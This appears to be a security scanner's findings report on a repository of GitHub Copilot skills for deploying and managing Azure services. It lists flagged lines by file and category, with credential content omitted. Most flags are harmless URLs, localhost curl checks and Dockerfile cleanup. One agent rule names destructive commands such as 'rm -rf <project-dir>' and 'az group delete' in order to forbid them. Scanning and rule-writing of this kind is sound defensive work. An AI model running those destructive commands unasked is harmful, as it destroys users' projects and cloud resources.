    - **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`

harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md

  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 162
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md

  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 157
    Uvicorn logs the port on startup: `Uvicorn running on http://0.0.0.0:8000`

harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md

  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 172
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md

  • Network accessline 108
    config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error {     token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 109
    token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},     })
  • Network accessline 110
    Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 199
    The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.

harness/github-copilot/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md

  • Network accessline 165
    If missing: `kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/latest/download/standard-install.yaml`
  • Network accessline 202
    Wait up to 3 minutes for external IP, then curl the health endpoint.

harness/github-copilot/skills/azure-kubernetes-app-deploy/references/detection.md

  • Network accessline 32
    | Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `
  • Network accessline 33
    | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not
  • Network accessline 34
    | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |

harness/github-copilot/skills/azure-kubernetes-app-deploy/references/workload-identity.md

  • Network accessline 39
    Federated Credential   ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 40
    ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 118
    new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" }));
  • Network accessline 182
    [Credential-related source omitted]
  • Network accessline 183
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 196
    [Credential-related source omitted]
  • Network accessline 198
    new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile

  • Network accessline 56
    ENV ASPNETCORE_URLS="http://+:8080" \
  • Network accessline 60
    # No HEALTHCHECK: the aspnet runtime image does not include curl or wget.
  • Network accessline 61
    # Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary.
  • Network accessline 62
    # health checking in AKS. For local Docker usage, install wget or add

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore

  • Access to secretsline 7
    [Credential-related source omitted]

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore

  • Access to secretsline 9
    [Credential-related source omitted]

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile

  • Network accessline 74
    # No HEALTHCHECK: the JRE Alpine image does not include wget or curl.

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore

  • Access to secretsline 4
    [Credential-related source omitted]

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile

  • Network accessline 60
    # HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile

  • Dangerous shell operationline 30
    && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 41
    && rm -rf src target/release/deps/app* target/release/app*

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore

  • Access to secretsline 3
    [Credential-related source omitted]

harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md

  • Network accessline 17
    | Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 18
    |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 19
    | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 20
    | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 21
    | Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 22
    | {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |

harness/github-copilot/skills/azure-kubernetes-automatic-readiness/SKILL.md

  • Network accessline 18
    You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i
  • Network accessline 118
    If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n
  • Network accessline 119
    > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."

harness/github-copilot/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md

  • Network accessline 93
    "description": "OIDC issuer not enabled",       "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 94
    "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."     }
  • Network accessline 95
    "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 162
    If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma
  • Network accessline 163
    > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge
  • Network accessline 199
    | Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
  • Network accessline 200
    |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in |
  • Network accessline 201
    | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |

harness/github-copilot/skills/azure-kubernetes/SKILL.md

  • Network accessline 67
    - **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), 
  • Network accessline 69
    - Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay

harness/github-copilot/skills/azure-kusto-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/github-copilot/skills/azure-kusto-irql-graph/SKILL.md

  • Network accessline 49
    - **Cluster**: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 136
    Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`:
  • Network accessline 207
    let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"},
  • Network accessline 224
    let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil
  • Network accessline 239
    let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic)
  • Network accessline 256
    let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-

harness/github-copilot/skills/azure-kusto-irql-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/github-copilot/skills/azure-kusto-irql/SKILL.md

  • Network accessline 51
    **Public example cluster** (functions pre-deployed): - Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 52
    - Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/skills/azure-kusto-irql/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/github-copilot/skills/azure-managed-redis-cache/references/access-and-network.md

  • Network accessline 32
    - [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication)
  • Network accessline 33
    - [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/)
  • Network accessline 34
    - [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)

harness/github-copilot/skills/azure-managed-redis-cache/references/semantic-cache.md

  • Network accessline 39
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 40
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/)
  • Network accessline 41
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)

harness/github-copilot/skills/azure-managed-redis-cache/references/session-store.md

  • Network accessline 27
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 28
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/github-copilot/skills/azure-managed-redis-cache/references/vector-memory.md

  • Network accessline 32
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 33
    - [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/)
  • Network accessline 34
    - [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)

harness/github-copilot/skills/azure-observability-stack/SKILL.md

  • Network accessline 31
    # Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 32
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 79
    # Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 80
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 83
    [Credential-related source omitted]
  • Network accessline 85
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 98
    # Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 99
    curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 101
    # Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 102
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 116
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 124
    # List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
  • Network accessline 125
    curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'

harness/github-copilot/skills/azure-observability-stack/references/troubleshooting.md

  • Network accessline 14
    # Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
  • Network accessline 15
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'

harness/github-copilot/skills/azure-prepare/references/apim.md

  • Access to secretsline 199
    [Credential-related source omitted]
  • Network accessline 209
    - [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview)
  • Network accessline 210
    - [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service)
  • Network accessline 211
    - [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management)
  • Network accessline 212
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)

harness/github-copilot/skills/azure-prepare/references/aspire.md

  • Network accessline 267
    | Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 268
    |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github.
  • Network accessline 269
    | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app |
  • Network accessline 270
    | AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy |
  • Network accessline 271
    | AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration |
  • Network accessline 272
    | eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app |
  • Network accessline 418
    - [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/)
  • Network accessline 419
    - [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 420
    - [Aspire Samples Repository](https://github.com/dotnet/aspire-samples)
  • Network accessline 421
    - [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)

harness/github-copilot/skills/azure-prepare/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-prepare/references/azure-context.md

  • Network accessline 121
    - Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Referen
  • Network accessline 122
    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser
  • Network accessline 123
    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value

harness/github-copilot/skills/azure-prepare/references/functional-verification.md

  • Network accessline 42
    │   ├── User says yes │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar
  • Network accessline 43
    │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar │   │   └── Static site? → Open in browser, verify rendering
  • Network accessline 44
    │   │   ├── API-only / no UI? → Test endpoints with curl or similar

harness/github-copilot/skills/azure-prepare/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
  • Dangerous shell operationline 33
    - ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui

harness/github-copilot/skills/azure-prepare/references/plan-template.md

  • Network accessline 119
    - **If quota CLI is NOT supported** (returns `BadRequest`):      - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)
  • Network accessline 120
    - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)      - Get limit: [Azure service limits documentation](https://l
  • Network accessline 121
    - Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 141
    - **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY 
  • Network accessline 142
    - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic
  • Network accessline 143
    - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-

harness/github-copilot/skills/azure-prepare/references/recipes/azd/aspire.md

  • Network accessline 68
    .NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd
  • Network accessline 106
    If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`:
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 145
    **Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version.
  • Network accessline 224
    - [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/)
  • Network accessline 225
    - [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/)
  • Network accessline 226
    - [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
  • Network accessline 227
    - [Samples](https://github.com/dotnet/aspire-samples)

harness/github-copilot/skills/azure-prepare/references/recipes/azd/docker.md

  • Access to secretsline 99
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/recipes/azd/iac-rules.md

  • Network accessline 50
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 51
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    > ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique
  • Network accessline 70
    - [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type

harness/github-copilot/skills/azure-prepare/references/recipes/azd/terraform.md

  • Network accessline 478
    - [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 479
    - [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform)
  • Network accessline 480
    - [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 481
    - [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)

harness/github-copilot/skills/azure-prepare/references/recipes/bicep/patterns.md

  • Network accessline 55
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 56
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/github-copilot/skills/azure-prepare/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table

harness/github-copilot/skills/azure-prepare/references/research.md

  • Network accessline 7
    1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** 
  • Network accessline 8
    2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros
  • Network accessline 9
    3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes

harness/github-copilot/skills/azure-prepare/references/resources-limits-quotas.md

  • Network accessline 59
    2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 96
    | Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h
  • Network accessline 97
    |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l
  • Network accessline 98
    | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer
  • Network accessline 158
    |-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man
  • Network accessline 159
    | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription
  • Network accessline 160
    | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 210
    - **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 211
    - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation
  • Network accessline 212
    - [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits

harness/github-copilot/skills/azure-prepare/references/runtimes/nodejs.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 173
    # Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \   CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 174
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 175
    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 209
    if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') {     if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Network accessline 210
    if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);   }
  • Network accessline 211
    return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Access to secretsline 241
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/security.md

  • Network accessline 268
    - [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview)
  • Network accessline 269
    - [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview)
  • Network accessline 270
    - [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 271
    - [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)

harness/github-copilot/skills/azure-prepare/references/services/app-service/sku-selection.md

  • Network accessline 33
    > 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures.
  • Network accessline 37
    Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv
  • Network accessline 39
    Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md

  • Network accessline 37
    enabled: true         registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 38
    registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'           clientId: appRegistration.properties.appId
  • Network accessline 39
    openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 67
    web: {     redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 68
    redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'     ]
  • Network accessline 69
    'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 94
    - [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization)
